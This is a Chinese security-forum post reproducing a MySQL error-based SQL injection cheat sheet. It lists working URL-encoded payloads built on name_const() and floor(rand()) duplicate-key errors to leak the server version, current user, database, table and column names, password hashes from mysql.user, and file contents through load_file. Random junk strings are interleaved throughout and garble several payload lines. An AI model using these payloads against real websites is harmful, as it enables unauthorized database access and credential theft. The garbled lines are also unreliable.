找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2337|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
4 V7 n1 }: U" K& Z/ r6 K3 w, d. ]7 t  z0 _
' ^+ x4 y' ?* i. z% `
Mysql暴错注入参考(pdf),每天一贴。。。, l3 `" D5 s6 r: ~' y- @1 @- q, D
* t$ H  ?) v. I' i2 Z# T
MySql Error Based Injection Reference& B- I$ P/ @3 }4 ]" C) a
[Mysql暴错注入参考]2 s  J, r3 a, C7 }% Y+ }# C
Authornig0s1992
8 k. F  d& y6 nBlog:http://pnig0s1992.blog.51cto.com/* ~2 ]1 T7 C& j" a# g
TeAm:http://www.FreeBuf.com/
/ V7 I/ t! a8 `/ yMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功' g5 k$ X/ }! c, f0 M! i
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
% P) l8 t/ G; V3 `& P: a: D( `查询版本:
, Q9 l/ i1 ^: sMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+0 \/ ~. Q% u7 g
join+(select+name_const(@@version,0))b)c)
  ~$ M, `& P# U- g- xMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro) o* E9 n' p/ m* P1 @% g
up by a)b)- v5 ]" \$ G6 ~) H: Z
查询当前用户:
' H0 f# ~! r3 i) F3 ^( @4 ~! D/ m' b0 xMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
1 o2 C5 i& z/ X" ?7 i* F' XMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
7 e& ?+ I$ a+ a0 V' _* [% mand(0)*2))x+from+information_schema.tables+group+by+x)a)
4 S9 Q# Y- M2 J9 b查询当前数据库:
! b& y+ O+ ^- i2 yMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)+ B7 Q. T5 _5 S1 q8 [. \) I3 D+ e8 p
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
/ m2 n: H. I! N0 L3 uor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
* ?2 T) q% q8 B: w% }! I依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+4 W: H" a0 y4 T4 m- d) {2 f8 ~/ S# }1 C8 x
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
& s8 B; ^( h) {- p! c  F顺序替换
; i) J4 n& n; y爆指定库数目:3 N( k2 Z& y  }
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
/ O' y, ~: r3 t6 sable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
6 L! a* X# i  @6 {3 v1 T' e$ @+by+x)a)+and+1=1 0x6D7973716C=mysql0 Z  M9 O+ E2 a: v% E
依次爆表:
3 I1 Z# N& Q0 k7 f1 B% iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
9 T4 c( h' H8 [! g3 |5 \  `able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta! I3 G& d; J& X1 r
bles+group+by+x)a)+and+1=1: O. y, Z, x! d! ]4 N1 ?
0x6D7973716C=Mysql 将n顺序替换! L- [+ L6 D3 R6 T0 P! J) B
爆表内字段数目:
% c% u7 S5 ~' Z1 Wand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
8 n0 @2 Q! w( n/ N# u+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
7 d  @9 T, t7 Z3 e+ w0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=16 Y+ A# @) A0 R
依次爆字段:* W* f+ g( M" B. d: ~
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
$ F& I: b! G4 s; V/ k+ ?+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1- {8 R" {" y4 H/ V5 _$ D) F! ]
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换' J! g* C) n/ ~2 e$ X
依次暴内容:
7 U4 Y; o3 `: z' d% x' J5 zand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche! a0 g. P( Y' }
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
5 C4 u, u4 F7 j$ Y: e将n顺序替换
$ f: M( q1 L: @% t. d+ ~3 i爆文件内容:
& @- ~6 U& Q4 F, U8 t' a! J/ sand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a& @. [$ ^) L. |- m, z+ u' q. ~
from+information_schema.tables+group+by+a)b) 1 B. }3 V  E4 N
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节+ }; h  l( e+ g* f2 s, c1 b8 J
Thx for reading.
* C4 ^1 p) ~% Z7 i! x" Z( m: p% d( V, j  Z
不要下载也可以,
# |# n1 W" O6 Y4 V

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表